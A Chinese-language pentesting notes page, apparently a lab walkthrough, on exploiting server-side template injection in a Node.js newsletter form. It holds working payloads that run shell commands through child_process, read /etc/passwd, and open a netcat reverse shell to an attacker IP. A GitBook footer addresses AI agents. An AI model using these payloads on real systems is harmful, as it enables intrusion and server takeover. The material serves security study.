> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## SSTI（Node.js）

我们注意到有一个功能允许用户输入电子邮件以订阅新闻通讯。服务器的响应会直接显示我们的输入内容，这暗示可能存在 **服务器端模板注入（SSTI）**.

<figure><img src="/files/f77cfba538fb2c1cc84f3b9942b3edce849bf88b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ee1b6005e20cbf7876e011bfaba7f52dd86df393" alt=""><figcaption></figcaption></figure>

#### 漏洞测试

我们用 **Burp Suite** 拦截请求，并测试一个经典的 SSTI：

<figure><img src="/files/96da177b49fe8f972ff0bc093e252bb3326ab9b5" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

如果响应显示 `81`，则应用程序存在漏洞，情况确实如此。

<figure><img src="/files/8ea2f394bdf3a36d4f94ff1f21f0e489038f8720" alt=""><figcaption></figcaption></figure>

### 读取 `/etc/passwd`

我们使用下面的载荷来显示以下内容： `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/ad14fc3ab8eb23f7bdd4214e8fe9a67e76df0b85" alt=""><figcaption></figcaption></figure>

#### 获取当前用户

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

我们得到 `david`.

<figure><img src="/files/7d8fab081acc90a62b30ae95445281f435101cf9" alt=""><figcaption></figcaption></figure>

### 通过 SSTI 获取反向 Shell（Node.js）

在端口上启动监听器 **4444**:

```bash
nc -nlvp 4444

```

发送反向 Shell 载荷：

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

访问目标机器

<figure><img src="/files/a98bb227915e2b04dcab94aa9418f7121658e2fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
